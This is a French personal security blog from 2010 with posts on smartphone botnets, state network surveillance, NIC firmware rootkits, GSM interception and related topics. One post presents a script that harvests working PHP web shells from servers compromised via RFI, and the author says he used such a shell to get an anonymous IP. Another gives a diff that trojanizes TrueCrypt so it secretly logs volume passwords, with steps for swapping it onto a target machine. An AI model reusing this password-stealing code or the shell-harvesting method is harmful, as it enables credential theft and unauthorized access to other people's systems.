vendredi 31 décembre 2010

Perspectives ou rétrospectives :)

En ces jours de fin d'année, il est courant de lire différentes prospectives sur des sites et blogs parlant de sécurité informatique.

Mais il arrive parfois que les prospectives se révèlent vraies un peu trop vite, et c'est ce qui m'arrive. Je reprends un ancien brouillon de blog ou je préconisais l'arrivée de botnet spécialisés dans les smartphones. Apparemment, cette perspective devient rétrospective car ce botnet existe, il touche les plateformes Android et il s'appelle Geinimi. Le premier site à l'avoir analysé serait lookout. Pour moi, la sécurité des smartphones deviendra de plus en plus prégnantes.

Dans le domaine de la sécurité des smartphones, le risque qui revient systématiquement, c'est le "vol des informations personnelles", sans plus de précisions. A croire que votre score à bubble blast est ultra confidentiel. Plus sérieusement, ce risque existe, mais n'a rien de neuf puisqu'étant le même sur ordinateur qui lui aussi contient des informations personnelles. Je pense que l'on va vers de nouveaux risques avec ces botnets sur smartphones, nouveaux risques dont on entend peu parler.
  • Le premier est lié au téléphone et au DoS. Depuis wikileaks, on sait que les DoS ne sont plus qu'envois massifs de paquets, mais peuvent aussi être coupure des services du monde réel (banque par exemple). Comment réagir face à un botnet qui passe son temps à appeler par voie téléphonique le siège d'une entreprise?
  • Le second est peu ou prou lié. On observe de plus en plus de jeu ou il faut voter par SMS. Je pense que l'on va bientôt voir apparaître des services vaguement underground qui proposeront des envois massifs de SMS contre rétribution. Retour sur investissement immédiat. 10 euros les 1000 SMS afin que la star machin gagne une place au classement du jeu télé truc.
  • Le dernier va devenir par contre très ennuyeux. Le Near Field Communication va bientôt permettre de payer, énormément de monde montre son intêret en ce domaine.. Et lorsque votre téléphone sera trojanisé, que pourra faire un botmaster? Cela est à mon sens le plus gros risque des vers/virus/troyens et bots sur smartphones. Tous les attaquants ne sont pas uniquement ludique à la 4chan ou terroristes à la Stuxnet, certains sont bien évidemment cupides. Et là, c'est un accès direct au but. Inutile de passer par des mules avec des structures complexes, c'est du profit immédiat.

Espérons que cette perspective ne se réalisera pas, et pour 2011 have fun (and profit!) :-)

mercredi 8 décembre 2010

Papa, il y a la DCRI qui regarde dans mon ordinateur :-(

Le journal "Le canard enchaîné" de la semaine dernière nous gratifie d'une révélation: La DCRI inspecte nos machines à distances.
L'article est bref et n'apporte que peu d'informations techniques. Selon le canard, des personnels de la DCRI demanderaient aux FAI l'adresse (IP, vraisemblablement) d'un abonné et irait faire des cyber-écoutes secrètes dans les flux de l'abonné.

Léger flou dans l'article (qu'on retrouve sur pas mal de sites de presse on-line), le mélange entre la consultation du contenu de la machine de l'abonné et la consultation de ses flux réseaux. Avec le peu d'info de l'article, je pense qu'il s'agit d'écoutes sur les flux de l'abonné et non de cyber-perquisitions du disque dur. Je crois assez peu à ces cyber-intrusions. Beaucoup trop compliqué à mettre en oeuvre, et surtout le risque de se faire détecter est sans doute trop grand en rapport des informations qui peuvent être connues.

Par contre, l'écoute des flux...
La majorité des flux sont encore en clair (HTTP, SMTP, POP, IMAP etc..). Google essaye de forcer le HTTPS, il y a des extensions firefox pour cela, mais le fait est que les gens communiquent à mon avis encore trop en clair. Anecdote, on m'a fourni une analyse tcpdump à faire, le constat est sans appel, si ce n'est google, tout est en clair. Pour cette raison également, Firesheep fait peur :-)
Le chiffré est mieux, mais n'est sans doute pas suffisant. Il y a deux ans déjà, au SSTIC, une conférence indiquait déjà que la seule connaissance des flux chiffrés permettait de retracer les réseaux sociaux de la personne visée.

Pour faire bref, si vous avez connaissance des flux d'une personne, il est en effet inutile de tenter une cyber-intrusion. Et si les FAIs fournissent un accès à ce trafic, alors headshot, comme disent les gamers.

A partir du moment ou l'infrastructure n'est pas de confiance, comment communiquer sereinement sur le réseau?

Une réponse légale? Semble difficile. Un juriste m'a confirmé qu'une écoute réseau n'a rien à voir avec la loi sur les écoutes téléphoniques. Il m'a conseillé de vérifier ce qu'en dit la LOPPSI. Cet aspect serait à creuser: un prochain post de blog?
Néanmoins, il faudrait pouvoir prouver que l'écoute à bien lieu. Et là, techniquement, j'ai du mal à imaginer comment prouver qu'un flux est mis sur écoute. Il est possible de planter des fausses URL ou des faux noms de domaines et d'attendre voir si des connexions sont faites. Est-ce toutefois une preuve recevable?

En défense active, il existe tor. Mais tor lancé de chez soi est exposé au même problème que précedemment, i.e. quelqu'un consultant les émissions/réceptions pourrait reconstruire certains volumes de connexions, à corréler avec la réception chez d'autre personne. Il faut que tor envoie des flux arbitraires d'informations afin que ses propres connexions soient noyées en volume à l'intérieur. Pour se faire, on peut se transformer en exit node ou faire tourner des services qui discutent fréquemment sur le réseau; à ce titre, je laisse des clients IRC ouverts car ils génèrent du trafic sur le réseau.
L'autre solution est d'utiliser tor depuis un cybercafé qui permet ce genre de choses, ou de trouver des spots wifi ouverts en grand.

Il y a peut-être un truc à inventer, à l'image de la plausible deniability sur le chiffrement de disque, qui serait la plausible deniability en réseau; i.e. qu'un attaquant soit incapable de prouver qu'une communication réseau ait eu lieu.

mercredi 24 novembre 2010

All your NIC belong to us

Je viens de lire le compte rendu d'une excellente présentation faite par le labo SOGETI/ESEC. Cette présentation concerne l'instrumentation à des fins malicieuses d'une carte réseau: Hack.lu-nicreverse_slides.pdf.

L'idée est simple et lumineuse: dans une carte réseau, nous avons de l'électronique, dit autrement un CPU et de la mémoire, est il possible de l'instrumenter pour lui faire réaliser des actions arbitraires? La réponse est oui, ce qui est préoccupant. Ce travail est bien évidemment à rapprocher de celui-ci: "Can you still trust your network card?", de Y-A Perez, L. Duflot, CanSecWest 2010.

La carte visée est une Broadcam Ethernet Netxtreme, présente dans de nombreuses machines de bureaux et portables. Sont présents un (ou deux) CPU Mips, une EEPROM, de la SDRAM et
des registres de configuration. Étant reprogrammable, c'est bien évidemment l'EEPROM qui sert à accueillir le code malveillant. 48ko sont disponibles partageant le code, la stack et le buffer de trames réseaux. L'auteur va donc reprogrammer un firmware "custom" pour cette carte.

Pour un attaquant, la situation est idéale:
  • Le code ne sera jamais ausculté par un antivirus/ antirootkit
  • Le code peut survivre à un reboot
  • Le code peut lire et/ou modifier tout le trafic de et à destination de l'hôte
  • Le code peut lancer un serveur interagissant avec l'attaquant (lire NICssh, papier très intéressant également, ne manquez pas la bibilo)
  • Le code est sur le bus PCI. Comme on le sait, qui dit bus PCI dit accès total et inconsidéré à la mémoire (et donc compromission de l'OS hôte en vue)
  • Aucune confiance ne peut être donnée à un firewall qui ausculterait les trames. En effet elles peuvent passer d'une carte réseau à l'autre sans jamais être vues par l'OS (Pensez au Jedi trick de NICssh!)
  • Aucune contremesure proposée par l'auteur du papier.
Néanmoins, tout n'est pas encore tout à fait terminé: Rootkit (still in development), et quelques interrogations demeurent.
  • Pour les capacités rootkits, c'est une évidence. Mais si le rootkit veut interagir avec le système hôte, alors un antirootkit/antivirus pourrait le détecter.
  • Pour les accès RAM via le bus PCI, il faut qu'aucun mécanisme d'IOMMU ne soit disponible. Ce point n'est pas abordé dans la présentation.
  • Pour les capacités de serveur permettant à un attaquant distant de se connecter, je veux bien croire que les programmeurs font des miracles avec 48ko, mais l'auteur de NICssh a du mettre à contribution le GPU et la RAM de la carte graphique pour parvenir à ses fins.
  • L'interception (et la forge) de paquets est une réalité. Toutefois, j'ose espérer que la majorité des personnes utilisent des protocoles chiffrés. La carte ne verra donc que du chiffré. Ceci permet à l'attaquant de faire des DoS, mais pas de compromettre la confidentialité des données (bien entendu, l'hôte doit avoir le mécanisme de IOMMU sinon la carte n'a qu'a aller lire la donnée en clair dans la RAM.)
Cette présentation a bien évidemment ramené à mon bon souvenir Qubes OS de Invisible Things Labs. Dans les specs de cet OS, la carte réseau est d'emblée considérée comme compromise ce qui semble être définitivement une bonne idée.

Pour l'historique, il a aussi existé un rootkit de clavier Mac (toujours le même principe, on a un firmware, un CPU et de la mémoire), NICssh utilise le GPU de la carte graphique, un autre emplacement de rootkit pourrait être le firmware d'un disque dur :-) et ksplice avait montré comment une carte PCI peut modifier le BIOS d'une machine et exécuter du code pendant le boot. La sécurité matérielle a encore des beaux jours devant elle.

Comment bâtir un schéma de sécurité sur une machine si le matériel n'est pas de confiance? (Non, je ne pense pas au TPM).

EDIT 30/11/2010:
Je suis allé directement poser la question sur le blog de l'auteur concernant l'IOMMU.
Sa réponse est disponible ici. Il fournit de plus un très bon lien vers le blog d'invisible things labs concernant les problématiques de cartes réseaux trojanisées.

jeudi 28 octobre 2010

sniff sniff, ça sent le GSM!

C'est un fait connu, l'industrie de la sécurité se penche de plus en plus vers les smartphones (ordiphones selon l'académie) et les communications sans-fils. On entend parler que le GSM est broken, et qu'il ne faut plus l'utiliser. Est il réellement possible avec du matériel standard d'écouter des conversations GSM?

Tout d'abord, on trouve des sociétés commerciales comme par exemple celle-ci: http://www.cellularintercept.com/ Passons. En 2008, la blackhat indiquait une écoute à 900$US.

Les recherches mènent vite au logiciel airprobe:
AirProbe is the new home of the former GSM-Sniffer project. The goal is to build an air-interface analysis tool for the GSM (and possible later 3G) mobile phone standard. The prime motivation is to learn the details of the technology, help people who develop other open GSM technology (like OpenBTS, OpenMoko?, BS11/OpenBSC and others) and demonstrate the insecurity of the current standard.

La page de garde d'airprobe est bien faite et sépare le problème en trois phases:
1/ L'écoute des ondes radios. Basée entre autre sur le travail fait par GNURadio. Il s'agit bien évidemment d'une phase d'acquisition matérielle.
2/ La démodulation qui transforme ces ondes en paquets d'octets. Un PC de bureau devrait suffire, même s'il est conseillé d'utiliser des FPGA.
3/ Le déchiffrement de ces octets. Ce troisième point est donc l'information intéressante. Airprobe n'est pas intéressé par le déchiffrement real-time, seulement un déchiffrement en best effort pour montrer l'insécurité du GSM.

La seule board capable d'écouter les ondes GSM semble être l'USRP. Elle existe à deux tarifs: v1 pour 700$, v2 pour 1400$, le site d'airprobe est bien documenté la dessus. Pour la démodulation, c'est effectivement un peu flou. La page du wiki est vide... Et quant au déchiffrement, rien de bien probant non plus. La lecture du site montre que c'est en cours https://svn.berlin.ccc.de/projects/airprobe/wiki/DeCryption , sans plus; je cite:
"Our ultimate goal is to crack A5/1:
1. by only intercepting data (passiv)
2. require less than 4Terabyte HD.
3. able to decrypt short encrypted bursts (like SMS, last less than 0.1 seconds).
4. Cracking time less than 1 day. "

Donc un logiciel (libre) existe pour casser du GSM, mais il n'est pas encore terminé... Airprobe sera-t'il un jour au GSM ce que aircrack est au Wifi?

Un autre papier publié récemment, http://www.sans.edu/resources/student_projects/201004_30.pdf résume bien l'état de l'art: "There is published research that significantly reduces the level of effort to sniff on GSM cell calls. The attack is still non-trivial and does require some knowledge and resources." (ce papier a de nombreux autres liens très intéressants dans sa biblio). Pour le cassage d'A51 c'est par ici http://reflextor.com/trac/a51, avec un bon résumé.

Le résultat est donc mitigé:
Théoriquement c'est cassé, en pratique on y arrive pas encore de manière accessible...
En sécurité informatique, ce qui ne se voit pas est il inexistant? Faut il continuer de faire confiance au GSM?

vendredi 1 octobre 2010

High skillz obfuscator javascript !

En suivant un page web, je tombe sur du javascript qui est obscurci par une méthode proprement révolutionnaire :-)

C'est entre autre une variable de plus de 60000 (soixante mille !) caractères qui ressemble à ceci:Ami lecteur, trouveras tu toi aussi la méthode d'obfuscation?

Une fois dés-obscurcie et remise en ordre, ce javascript renvoie vers un packupdate107_2121.exe qui est peu reconnu par la liste des antivirus. Kaspersky:néant. Microsoft essential: néant. Clamav: néant. 9/34 l'indiquent comme malicieux.
Je joins le rapport virustotal.

Edit: 5 octobre 2010.
La sauce prend, ça se réveille doucement. Une analyse du 2 octobre,
VirusTotal indique 19 sur 41.
Avec une autre analyse aujourd'hui, le 5 octobre, virustotal indique 30 sur 42.
Encore un effort et il devrait être détecté de partout :-)

jeudi 30 septembre 2010

Sécurité opérationnelle, sécurité pragmatique?

Une conférence donnée à la BruCon s'intitule "You Spent All That Money And You Still Got Owned... ". Je suis particulièrement d'accord avec ce titre. Aujourd'hui ou on arrive à construire des voitures fiables, a garantir la distribution d'électricité, et les trains arrivent à l'heure [1], comment se fait-il que la sécurité informatique soit encore et toujours à la ramasse? (je ne prononcerai pas l'antienne « la sécurité est un échec, (c) News0ft ».

Qu'est ce qui peut expliquer cela? La sécurité coûte cher, certes, mais surtout, elle est contraignante! Les données informatiques sont tout de même faite pour être lues, modifiées, communiquées et partagées. La sécurité informatique est là afin d'empêcher que certaines personnes puissent lire, communiquer, modifier ou partager ces données. Bien entendu, la sécurité informatique doit savoir à qui ces données sont destinées et à qui ces données sont interdites, les protéger durant le transport et leur stockage; la chanson est connue. Présentées de cette manière on observe immédiatement l'orthogonalité du traitement.
Les informations doivent circuler, mais rester confinées. Dilemme. Au milieu de tout cela, il y a l'utilisateur pour qui la sécurité est une contrainte souvent mal vécue (allez écouter le bureau des plaintes des administrateurs systèmes qui imposent des modes drastiques concernant les mots de passes, leurs longueurs, leurs fréquences de changement etc..).

Bref, comment conjuguer sécurité et utilisabilité de l'outil informatique? Comment rendre la sécurité opérationnelle, et non pas la confiner à des laboratoires? Ne faut il pas plutôt réfléchir à une sécurité que je qualifierai de pragmatique? Point majeur à prendre en compte, l'utilisateur n'a pas à se soucier de la sécurité. Au plus la sécurité est invisible au mieux elle est utilisée et donc utile et efficace. La question se pose alors: Quelle sécurité est opérationnelle? Quelle seraient les systèmes de sécurisation pragmatiques, donc utilisés, et efficace?

Si je prends le HTTPS, c'est intéressant transparent à l'utilisateur, cela corrige des tas de problèmes, mais c'est attaqué avec plus ou moins de succès d'ailleurs. Preuve de son utilisation.
L'ASLR, le W^X les canaris, c'est complètement invisible à l'utilisateur, et ça marche. Ca bloque ceux qui veulent smasher la stack, mais ça n'empêche certes pas de continuer à faire du fun et du profit.
Le SSO, c'est très bien, ça simplifie la vie de l'utilisateur. C'est ardu à mettre en oeuvre (et pleins de chausses trappes), mais cela évite de retrouver la liste des mots de passe sur des post-it.

Peut être pourrions nous classer les produits de sécurité selon leur innocuité dans le désagrement fourni. Si c'est léger, alors c'est à creuser. Tous les systèmes de sécurité invisibles ne seront pas fiables, mais les systèmes de sécurité trop contraignants sont condamnées à ne pas être employés...

lundi 13 septembre 2010

Old-school trick -- "Give me a shell, quickly!"

Il y a quelques mois je parlais des méthodes de Remote File Inclusion en php, Partie 1 et Partie 2.

J'avais écrit il y a longtemps un outil qui me permettait de trouver automatiquement des scripts intéressants, entre autre des php shells fonctionnels. J'ai eu il y a peu besoin d'une IP complètement exogène, relativement anonyme pour un test. J'ai relancé l'outil qui a particulièrement bien marché. Explications.

Cet outil scanne les sites déjà piratés via RFI et vérifie le contenu de l'index ou le script RFI est placé. Il y a de grandes chances d'y trouver un php shell, comme le r57 ou le C99. Profit and have fun!
Un php shell tout ce qu'il y a de plus classique, avec une pléthore d'options délicieusement obsolète: aaah, le ftp brute force qui fleure bon les années 2000, ou l'accès a la database MilwOrm (R.I.P., aujourd'hui on a inj3ct0r ou exploit-db ).

Pourquoi utiliser ce script et pas une simple recherche google à la johnny I hack stuff comme "intitle:r57shell +uname -bbpress" ?
Simplement parceque de manière générale, les liens remontés par google sont soit déjà morts, soit des fakes, soit non fonctionnels. Le temps passé a en trouver un qui marche est trop élevé. De plus, mon outil devait permettre de remonter d'autres infos que les php shells.

Comment fonctionne cet outil?
Il utilise des sites déjà piratés. Les webmasters ont surement tous lus dans leurs logs des tentatives continues de RFI par des pirates. Ce sont ces URLs qui vont nous servir de base de travail.
Si vous êtes admin d'un site web, vous avez typiquement de logs de ce genre. Si vous n'avez pas de logs, trouvez-en. Pour cela google est particulièrement bien adapté grâce aux clés de recherche inurl: et filetype:. Une requête sur access.log et filetype:log permet de trouver pléthore de logs utilisables.

Il faut alors chercher des RFI dans ces logs, comme cette inclusion:
130.207.147.170 - - [12/Sep/2010:22:03:54 -0700] "GET /logs//index.php?option=com_log&Itemid=&mosConfig_absolute_path=http://www.eroticnorthamerica.com/new//admin/classes/Ckrid1.txt????? HTTP/1.1" 404 - "-" "MaMa CaSpEr" "www.faciti.com"

Dans cet exemple, l'inclusion est faite sur http://www.eroticnorthamerica.com/new//admin/classes/Ckrid1.txt en tentant d'abuser la variable mosConfig_absolute_path, un vieux hack de ... 2008 (!)

A la racine http://www.eroticnorthamerica.com/new//admin/classes/ rien. Il suffit d'aller voir la ligne de log suivante, trouver le RFI, aller sur le site source, vérifier son index, etc, etc..

C'est très répétitif. Or, tout ce qui est répetitif se programme très bien! J'ai donc codé à la Rache un script shell drop.sh qui suit ce process.
Mon outil prend en argument un fichier de log apache, et scanne l'ensemble des RFI. Voici une session, avec un fichier de bonne taille provenant d'une recherche google:
kevin@slackware:~/sept2010$ ./drop.sh access.log
############## LOGFILE ##############
Le fichier de log utilisé est :access.log
############## URLSTOCK ##############
############## ANALYSE ##############
Le fichier fourni fait 27188 lignes.
Nous avons 211 URL contenant des fichiers d'attaques
Nous avons 179 domaines uniques contenant des fichiers d'attaques
Nous avons 134 variables utilisées pour attaquer
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
2013 CONFIG_EXT[ADMIN_PATH]
1040 mosConfig_absolute_path
697 option
476 dir
330 mosConfig.absolute.path
255 board
216 cropimagedir
214 reflect_base
212 myPath
209 error
Appuyez sur entrée pour continuer...

Nous avons 409 IP différentes utilisées pour attaquer
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
1984 78.46.91.40
547 222.236.47.182
188 193.13.73.251
184 74.55.95.42
172 97.74.198.126
147 201.219.3.103
138 94.136.63.119
133 209.40.100.50
117 174.121.166.146
115 194.153.188.2
Appuyez sur entrée pour continuer...

############## D/L ATTAQUES ##############
pas de repertoire hax
Deduping eventuel des fichiers d'attaques
Test de la presence de URL-consolide ou ../URL-consolide
Downloading tous les fichiers d'attaques (prend du temps)
3s de timeout par d/l
http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/i1.txt : d/l en cours : OK
http://127.0.0.1/id.txt : d/l en cours : 404
http://127.0.0.1/r0x.txt : d/l en cours : 404
http://1942.jp/pitbull2.txt : d/l en cours : OK
http://203.252.71.232/~edugraduate/data/file/sub3_1/ckrid1.txt : d/l en cours : OK
http://203.94.243.59/lib/akas1.txt : d/l en cours : OK
http://60gp.ovh.net/~wielgoml/images/id.txt : d/l en cours : OK
http://82.58.46.161/r0x.txt : d/l en cours : timeout...
http://82.60.25.77/r0x.txt : d/l en cours : timeout...
(...snip...)
http://yeshouse.mk.co.kr/education/p1.txt : d/l en cours : timeout...
http://yeshouse.mk.co.kr/my/visual/id1.txt : d/l en cours : OK
http://yeshouse.net/my/.injek/injek.txt : d/l en cours : OK
http://yuioo.interfree.it/id.jpg : d/l en cours : OK
tous les fichiers sont téléchargés
Il y a 143 fichiers récupérés
leger cleanup des noms de fichiers si besoin...
############## D/L INDEXES ##############
Aller chercher les fichiers d'index? (o/n)o
pas de repertoire recup_index
http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/ : pas d'index
http://1942.jp/ : pas d'index
http://203.252.71.232/~edugraduate/data/file/sub3_1/ : pas d'index
recuperation de l'index de http://203.94.243.59/lib/
recuperation de l'index de http://tatan.ru/templates/default/
(...snip...)
http://yeshouse.net/my/.injek/ : pas d'index
http://yuioo.interfree.it/ : pas d'index
############## DEDUPING FILES ##############
Il y a 143 fichiers presents dans hax/
Deduplication de fichiers...
Il y a 17 fichiers dupliques
nettoyage des duplicats...
Il reste 126 fichiers presents
voulez vous nettoyer les duplicats des indexs? (o/n)n
############## FINDING FOOD ##############
Construction de la liste de fichiers potentiellement interessants
### recherche des fichiers contenant le mot clé :irc ###
### recherche des fichiers contenant le mot clé :wget ###
### recherche des fichiers contenant le mot clé :curl ###
### recherche des fichiers contenant le mot clé :w3m ###
### recherche des fichiers contenant le mot clé :lynx ###
### recherche des fichiers contenant le mot clé :wget http ###
### recherche des fichiers contenant le mot clé :gcc ###
### recherche des fichiers contenant le mot clé :C99 ###
Il y a 74 fichiers avec motif interessants
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
3 hax/feel.txt
1 hax/file.txt
1 hax/asu.php
1 hax/Jasakom.php
2 hax/head.1
1 hax/id.txt.4
7 hax/lang.txt
1 hax/myid.jpg.5
3 hax/s.txt
2 hax/vrs
Appuyez sur entrée pour continuer...
kevin@slackware:~/sept2010$
En quelques minutes et une requête google, j'ai a disposition deux php shells, asu.php et Jasakom.php parfaitements fonctionnels, la copie d'écran ci-dessus vient de là.

Je fournis l'outil à qui veut, "upon mail request". License Beerware. Pas de contreindication, pas d'utilisation prolongée sans avis médical :-)

LIMITATIONS:
  • C'est un script shell bash linux écrit sans grand soucis de portabilité ou de propreté du code. Pas dit que ça marche ailleurs que chez moi :)
  • La substantifique moelle qui est extraite dépend énormément du fichier de logs utilisé. L'expérience m'a montré qu'il faut privilégier bien évidemment les gros fichiers de logs pour maximiser les chances (voir en concaténer plusieurs), mais surtout avoir des logs récents.. La durée de vie d'un RFI est souvent faible.
  • Le deduping des fichiers pourrait être légèrement amélioré.
  • La version fournie n'utilise pas tsocks pour socksifier les téléchargements via tor, donc l'IP de la machine lançant le script va apparaitre de partout... Ceci dit, avec tor, il y a quelque fois des problèmes de timeout intempestifs.
  • Le download des index est parfois un peu trop long, soit que le wget récursif rapatrie le site, soit que chaque fichier fait des timeouts. Il peut donc être nécessaire de killer manuellement le wget qui patine.
  • Le FINDING FOOD pourrait aussi être amélioré. Selon ce que l'on cherche, des shells php ou des login/pass pour des canaux IRC de botnets ou autre chose comme des toolkits de phishing etc.. Le contenu des index est (quelquefois) riche en information et mériterait une passe plus conséquente.
  • Le FINDING FOOD devrait aussi aller chercher dans les php bots et autres les URL de mise à jours. Souvent il y a là-bas aussi des choses intéressantes dans les index.
  • Un tri automatique des RFI devrait être fait (scripts de scan, de tests, de fingerprinting et autres..) pour exploitation ultérieure.
  • Lorsqu'on lance plusieurs fois le script dans un intervalle de temps réduit je conseille de conserver les URL et les domaines dans le fichier [URL|domain]-consolide afin d'éviter de retélécharger plusieurs fois les mêmes fichiers.
  • Le script ne fournit pas d'emblée la liste des php shells fonctionnels. Il faut grepper dans les résultats après coup, ou interpréter la liste finale.

Tout ça pour quoi, finalement?
Pourquoi je donne ce script? Comme indiqué dans mon deuxième article sur les RFI, tout ceci est un peu vain.. Le skill est des attaquants faisant ces RFI est plutôt bas. Je cite mon ancien article: " Moins ils sont bons, plus ils arrosent large et plus j'ai de chance de les voir". Il y a plusieurs années, j'avais pu trouver des RFI 0day, des progs C intéressants ou des kits de phishing, aujourd'hui on a que de la vieille vuln' de plusieurs années et des innombrables eggdrop et bots IRC, d'où mon désinterêt pour ces botnets. D'ailleurs depuis mon post de blog la dessus, je n'étais plus revenu sur le sujet. Les trackings sur IRC n'apprennent plus rien d'intéressant. Le botnet a changé de visage, et ces php machins sont trop anciens pour avoir de la valeur.

Enfin les php shells utilisés sur ces machines ne sont pas sains. Impossible d'imaginer les employer pour y placer un script réellement offensif, une attaque très fine ou autre. En effet, ces machines hébergeant du RFI sont généralement percées de toute part, il me surprendrait fort qu'un autre attaquant ne surveille pas ce qui est fait, voire ne sont pas elles-mêmes des honeypots. Enfin, certains fichiers de RFI sont eux-mêmes déjà trojanisés et logguent toute utilisation.
Il reste loisible d'utiliser ces machines pour lancer d'autres tricks old-school a leur tour, participant ainsi à la médiocrité ambiante des scripts trouvés sur ce genre de machines :)

mercredi 25 août 2010

UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6 -- UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6

Les sites raccourcisseurs d'URL deviennent de plus en plus en courant. Un des plus connu d'entre eux est tinyurl. Le principe en est simple. Tinyurl enregistre une base de données entre une URL longue, comme par exemple http://www.domaine.com/repertoire/sous-repertoire/code.extension?var=veryveryverylongvalue&var2=value et une URL de taille fixe, courte, comme: http://tinyurl.com/(7 caractères). Un clic sur l'URL courte redirige vers l'URL longue.

Ces raccourcisseurs d'URL ont connu une popularité grandissante entre autre grâce à twitter qui limite le nombre de caractère.
tinyurl est intéressant du point de vue de la sécurité car il a participé à des attaques informatiques. Il y a eu l'attaque réussie contre apache http://tinyurl.com/2w667ej. Plus dernièrement un développeur d'openBSD s'est fait pister vie une tinyURL. Un développeur pensait pouvoir poster sous pseudo de manière anonyme, un développeur lui a donc envoyé un mail avec un lien tinyurl. Ce lien pointait chez le second développeur afin de logger l'IP de la personne cliquant dessus, l'histoire est indiqué ici: http://bit.ly/9SFh4K.

Dans les deux cas, le principe est le même: la personne visée clique en confiance sur le lien tinyurl, ce qui la mène à sa perte :-) Pour l'internaute avisé, il est toujours agaçant de devoir cliquer sur une URL raccourcie sans savoir ou l'on va tomber.

Comment faire donc pour "voir avant" ou l'on arrive? Quelques add-ons firefox existent, mais je ne les ai pas testé. Il existe des méthodes fonctionnant sous tous les navigateurs pour agrandir ces URL.

-TinyURL: le plus simple consiste a activer le cookie de non-redirection, cf http://tinyurl.com/preview.php. Tout clic sur un lien tinyurl présentera le lien de redirection complet. C'est extrêmement utile, à se demander pourquoi tout le monde ne le fait pas par défaut! Une autre méthode consiste à copier-coller le lien en ajoutant preview dans l'URL, par exemple: http://preview.tinyurl.com/2w667ej
-Bit.ly: apparemment, aucun mécanisme de preview n'existe comme avec tinyurl. Toutefois, il est possible d'ajouter un + à la fin de l'URL pour en voir les statistiques, ex: http://bit.ly/9SFh4K+, de ce fait, détourné, on peut voir ou envoie le lien.

-Pour les nombreux autres sites de preview, il existe la méthode netcat en one-liner:
kevin@slackware:~$ printf 'GET http://bit.ly/9SFh4K \
HTTP/1.1\r\nHost: bit.ly\r\n\r\n' | nc bit.ly 80
et faire de même pour les autres sites en adaptant l'URL, le Host et le domaine. Le rendu sera une code très explicite indiquant ou renvoie le code 301.

lundi 2 août 2010

Truecrypt will never be the same, ya dun goof'd!

En recherche pour un travail préparatoire, j'ai eu a étudier Truecrypt. Truecrypt est un logiciel de chiffrement solide, ayant l'avantage de proposer en standard un système de Plausible Deniability. De plus, il a eu les honneurs de la presse on-line puisqu'il a empêché le FBI d'accéder à des données.

A l'époque, je m'étais interrogé: pourquoi donc est-ce que le FBI n'a pas accédé une première fois à la machine concernée pour lui corrompre son programme TrueCrypt avant de saisir sa machine? A noter que le disque système n'était pas chiffré, seul un container ayant les documents confidentiels était protégé par Truecrypt.
Est-il si compliqué que de le modifier pour qu'il logue les mots de passe quelque part? Il s'agit en effet d'un programme open source. La réponse tient en 6 lignes de code.

Voici donc comment faire pour récupérer les mots de passe de Truecrypt.
1/ Récupérer les sources de Truecrypt
2/ Lire le source de Mount.c et ajouter 6 lignes pour que chaque mot de passe entré dans la bonne case aille s'enregistrer dans un fichier.
3/ Recompiler
4/ Changer le truecrypt.exe sur la machine visée par le truecrypt.exe recompilé
5/ Profit

Le diff du fichier Mount.c :
$ diff Mount*
3455a3456,3463
> /// HACK
> {
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, "Trying password for '%s' was \"%s\"", szFileName, VolumePassword.Text);
> fclose(file);
> }
> /// UnHACK
>
3463a3472,3481
>
> /// HACK
> {
> FILE *file = fopen("c:\\windows\\temp\\hack.log", "a");
> fprintf(file, " ... status %d [%s]\n", mounted, (mounted > 0) ? "OK" : "ko");
> fclose(file);
> }
> /// UnHACK
>
>
Et j'offre le fichier Truecrypt.zip (le .exe) modifié en téléchargement. [ Edit 01/09/2010: Fin du téléchargement. ] Les .sys sont identiques entre la version originale et cette version. L'exe modifié est de plus un peu plus petit que l'original :-) Il est donc de fait possible d'ajouter quelques octets pour qu'il fasse une taille équivalente à l'original.

[ Testé en mode Truecrypt portable sur un XP SP3 32bits, fonctionne avec les mots de passe, pas les fichiers de clés. Thx 2 MGE. ]

mercredi 14 juillet 2010

TCP/IP security is boring

Je lis petit à petit les slides et articles fournis dans les actes du SSTIC 2010. Les conférences d'Harald Welte ont attiré mon attention, et plus particulièrement la phrase:
Don’t you too think that TCP/IP security is boring?

Et effectivement, la sécurité de TCP/IP, c'est quand même relativement mort.
Quelques questions pour s'en rendre compte..

Une connexion TCP, c'est un three-way handshake? Vous connaissez surement, mais le four-way handshake? Le prochain big-one qui dev(r)ait faire tomber internet à cause de TCP, vous connaissez? Et nkiller2, vous avez pris le temps d'étudier? Quelles mesures avez vous prises? Le filtrage de paquet de votre réseau, vous le faites encore, ou bien vous l'avez infogéré à un presta externe? Et vous avez utilisé un simple rideau, un double rideau? Les flags TCP, il y en a combien? 6 ou 8? Les hidden treasures d'iptables, vous avez étudié ça? Tiens d'ailleurs, et qu'est ce qui fonctionne le mieux, pf ou iptables? Le meilleur moyen de scanner discrètement un hôte, c'est le Xmas, ou bien une autre combinaison? Je me souviens qu'à une époque, il suffisait d'évoquer la légalité des scans de port sur n'importe quel forum pour déclencher des trolls homériques. Aujourd'hui, tout ça c'est le néant. On lit à longueur de forums qu'il est possible de spoofer des connexions TCP fiablement et durablement sans que plus personne ne s'émeuve de la bêtise.

Je crois qu'Harald a raison, vous n'avez sûrement pas du cliquer sur plus de deux liens dans le paragraphe la dessus. TCP/IP security is boring. Cela va faire 15 ans qu'on en fait, qu'on sait comment ça marche, pourquoi vouloir continuer à lire et dépiauter les RFCs? TCP/IP, ça "juste marche". Même lorsque les menaces sont réelles, c'est tout juste si on en entend parler. En 2000, le remote root sur pile IP faisait rêver tout le monde. Le programmeur qui aurait pu le faire aurait été sans doute considéré comme un demi-dieu vivant de la sécurité. Puis c'est arrivé, sous windows et vraisemblablement un autre sous linux. Ca n'a été traité que comme d'autres bugs de sécurité: on voit, on corrige, on patche.

